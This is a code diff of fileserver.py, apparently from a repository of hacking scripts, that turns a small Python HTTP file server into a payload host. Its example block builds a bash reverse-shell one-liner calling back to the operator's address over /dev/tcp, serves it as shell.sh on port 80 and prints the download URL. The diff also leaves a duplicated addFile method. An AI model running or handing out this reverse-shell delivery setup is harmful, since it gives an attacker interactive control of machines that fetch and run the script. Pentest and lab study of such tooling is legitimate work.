fileserver.py

fileserver.py

@@ -1,23 +1,18 @@
 #!/usr/bin/env python
 
+from hackingscripts import util
 from http.server import BaseHTTPRequestHandler, HTTPServer
+import threading
+import sys
 
-class HttpFileServer(BaseHTTPRequestHandler):
+class FileServerRequestHandler(BaseHTTPRequestHandler):
 
-    def __init__(self):
-        self.logRequests = False
-        self.files = { }
-
-    def addFile(self, name, data):
-        if isinstance(data, str):
-            data = data.encode("UTF-8")
-        if not name.startswith("/"):
-            name = "/" + name
-        self.files[name.strip()] = data
+    def __init__(self, *args, **kwargs):
+        super().__init__(*args, **kwargs)
 
     def do_GET(self):
-        if self.path in self.files:
-            data = self.files[self.path]
+        if self.path in self.server.files:
+            data = self.server.files[self.path]
             self.send_response(200)
             self.end_headers()
             self.wfile.write(data)
@@ -26,5 +21,41 @@ class HttpFileServer(BaseHTTPRequestHandler):
             self.end_headers()
 
     def log_message(self, format, *args):
-        if self.logRequests:
+        if self.server.logRequests:
             BaseHTTPRequestHandler.log_message(format, *args)
+
+class HttpFileServer(HTTPServer):
+    def __init__(self, addr, port):
+        super().__init__((addr, port), FileServerRequestHandler)
+        self.logRequests = False
+        self.files = { }
+
+    def addFile(self, name, data):
+        if isinstance(data, str):
+            data = data.encode("UTF-8")
+        if not name.startswith("/"):
+            name = "/" + name
+        self.files[name.strip()] = data
+
+    def addFile(self, name, data):
+        if isinstance(data, str):
+            data = data.encode("UTF-8")
+        if not name.startswith("/"):
+            name = "/" + name
+        self.files[name.strip()] = data
+
+    def startBackground(self):
+        t = threading.Thread(target=self.serve_forever)
+        t.start()
+        return t
+
+# EXAMPLE
+if __name__ == "__main__":
+    listenPort = 4444 if len(sys.argv) < 2 else int(sys.argv[1])
+    ipAddress = util.getAddress()
+
+    rev_shell = "bash -i >& /dev/tcp/%s/%d 0>&1" % (ipAddress, listenPort)
+    fileServer = HttpFileServer("0.0.0.0", 80)
+    fileServer.addFile("shell.sh", rev_shell)
+    fileServer.startBackground()
+    print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)